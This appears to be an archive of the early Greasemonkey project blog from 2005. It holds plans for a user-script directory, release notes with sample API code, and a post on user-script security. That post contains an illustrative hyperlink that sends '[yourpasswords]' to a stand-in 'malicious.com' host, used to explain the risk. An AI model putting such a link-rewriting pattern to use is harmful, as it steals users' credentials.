There'll be full text search (so you can see how people are using GM_* functions or find a script through a comment), there'll be header search (show all scripts which match URL x, or have name y, etc). There'll also be a tag search, which will just use delicious' tags.

So now you've got some search results. They'll be ranked by number of delicious links to start with, and maybe that'll be good enough. If not, we can throw in trust or search noise, or something else complicated.

Also, particular script versions will be available off of stable URLs on the directory. The search results will take you to the original publishing location, but if your favorite ~user/script goes down, the directory will still be there. I haven't decided what the stable URL should look like. /root/namespace/userscript seems obvious, but of course, lots of people aren't setting their namespaces, so who knows. I also plan to have all versions available, so that if /root/namespace/userscript is current, then /root/namespace/userscript/20050110-164502 was the script as of that date and time (and it'll use the normal W3 date format, of course). I dunno, maybe this isn't version 1 stuff, but I think it'd be useful to see evolutions or to have a stable pointer for some discussion and such.

That about does it for goals 1-3. But assume you're a script author, and you'd like to share your script. You just post it on your site (Or submit it to the directory for hosting? This might get complicated.) Everyone knows where to find user scripts, so it's way out there, even if you're not an A-lister. And if you change something, everyone that wanted to know will know.

Another benefit of the hash approach is that the GM client could some day support auto update by hashing its installed script and asking the directory for any updates.

We also have a situation where authors modify functionality of scripts after publishing (say, to support UPS tracking after publishing a FedEx-only linker), and an accidental benefit of the wiki has been that script authors could say what changed easily. I'd like a @longdesc so that script authors could write a book (like this one!) about how great their user script is, and the directory would scrape this so that updated functionality just shows up in search.

That's up to goal 4.

Goal 5 is a bit broader, but I'm pretty stoked to see user scripts in Opera and IE. Safari already had Pith Helmet, and we apparently didn't inspire Opera, but I don't care. I just want user scripts to be useful and for them to spread, so I'd like to do what we can to provide a home for user scripts in general, and help other projects that don't have mozdev and mozillazine to help them with hosting and community. userscript.org will start out GM-only, but I hope that changes.

This last one is months or longer out, but it seems worth doing, and I'd like to do it.

Of course I don't plan on doing all this stuff before putting something out there, and I hope you readers will tell me what I'm doing wrong, but this is the general direction I'm headed.

If anyone got to the end, congrats, and please take a few more minutes to tell me how this could better, but please keep the goals listed above in mind.

P.S. There's already been useful discussion on the mailing list. If you're interested in this stuff, I recommend you join.

Thursday, March 31, 2005

GreasemonkIE: user scripts for IE

I'm telling you, this user script thing is, err, useful.

Todd Ostermeier has gone and implemented a user scripting host for IE.

It's a little shaky so far, but it's fantastic to see the hackable web spreading to the other 80(?)% of desktops.

Thanks, Todd!

Wednesday, March 30, 2005

Greasemonkey 0.2.6: Now with less fatal chrome bugs!

So it looks like greasemonkey 0.2.6, which fixes the major flaw in 0.2.5 that stopped some people's chrome (including forward/back buttons, tabs, and url bars) from working, is propagated across all the servers.

Sorry for all the trouble people had with the previous release. Please comment here if you continue to have problems.

Tuesday, March 29, 2005

Greasemonkey 0.2.5: b0rken

There seems to be two major problems people are experiencing: first, they don't even get 0.2.5 because the download link sends them to 0.2.4. This is great because they have no chance of experiencing the other bug if they download that version ;-). Unfortunately it seems to be that all the download mirrors still haven't propagated yet, ~12 hours after I synced them, which is a little worrisome.

The second issue is that some people are having problems with their address bars with 0.2.5. I don't actually get this, so I don't think it occurs in all cases.

Anyway, please bear with us as we get a better version uploaded. Thanks.

Monday, March 28, 2005

Greasemonkey 0.2.5: XMLHTTP across domains and tool menu commands

0.2.5 is available. This was a pretty cool release because it had contributions from four different people.

GM_xmlhttpRequest - XMLHTTP across domains

Using the new global GM_xmlhttpRequest function, user script authors can make XMLHTTP requests to any domain. These type of requests used to be limited by the traditional browser sandbox of only making requests to the same domain of the current page.

Here's an example request:

GM_xmlhttpRequest({
method:"POST",
url:"http://someurl.com/monkey",
headers:["Header-A":"hotdog","Header-B","foobar"],
data:"foo=bar&hot=dog&mon=key",
onload:function(result) { alert(result.responseText) }
});


There are other options as well.

GM_registerMenuCommand - user scripts that add commands to the tools menu

You can use the new GM_registerMenuCommand function to add things to the tools menu. Here's an example:

GM_registerMenuCommand("My command", function() {
alert("hello, from a user script!");
});

This should enable many user scripts that have a component that should be executed by the user on demand, like a bookmarklet.

Other random things:
  • Added an "enable all"/"disable all" feature to the greasemonkey options screen
  • Fixed a bug that was preventing greasemonkey from applying user scripts to XHTML strict documents
  • Removed all default scripts from installation. These were causing problems for too many people, and there's no longer any need for example scripts now that we have the repository.

Sunday, March 27, 2005

The user script arms race has begun!

The incomparable Dean Edwards has posted a well-written example showing how a site owner can gum up the works for unwanted scripts.

This was a small matter of time. User scripts are a new thing on the web, and the concerns Dean raises are valid. Besides, when user scripts get more popular, there's too much money in advertising for workarounds not to be sought.

We can work through this.

Wednesday, March 23, 2005

And now for something less snarky...

Lynn asked in the comments what we think of the security concerns raised by the cnet article.

I think that people should be careful which userscripts they install on their computer. If they aren't javascript-literate, maybe they should hold off until there is a community rating system in place.

It is an important (and interesting!) problem though. And even though all my friends say it's probably impossible to solve, I'll keep tinkering with it because I'm lame that way. Perhaps an ugly hack will surface yet.

I thought about it over the weekend, eventually coming to the conclusion that the real problem was in fact the browser: browsers shouldn't let javascript initiate http requests to other domains without a user prompt. If there were no way for javascript to send data on the page to anywhere besides the originating domain, these problem wouldn't exist! Why oh why, I cried to myself, Why were these browser manufacturers so stupid? I decided to write an extension to fix this behavior in Firefox.

It was while explaining my great idea to Tony this morning that I first realized it would still be vulnerable to the oldest exploit of all: the hyperlink. Even if I blocked all javascript initiated communication completely, nothing stops javascript from changing all the hyperlinks on the page to point to:

<a href="http://malicious.com/?showme=[yourpasswords]&muahahahah">

Then all it takes is one click and your passwords are stolen. Bollocks. Back to the drawing board.

A thought:

Greasemonkey has the exact same security context as bookmarklets.

Hello World!

It occurred to me that greasemonkey ought to have a blog.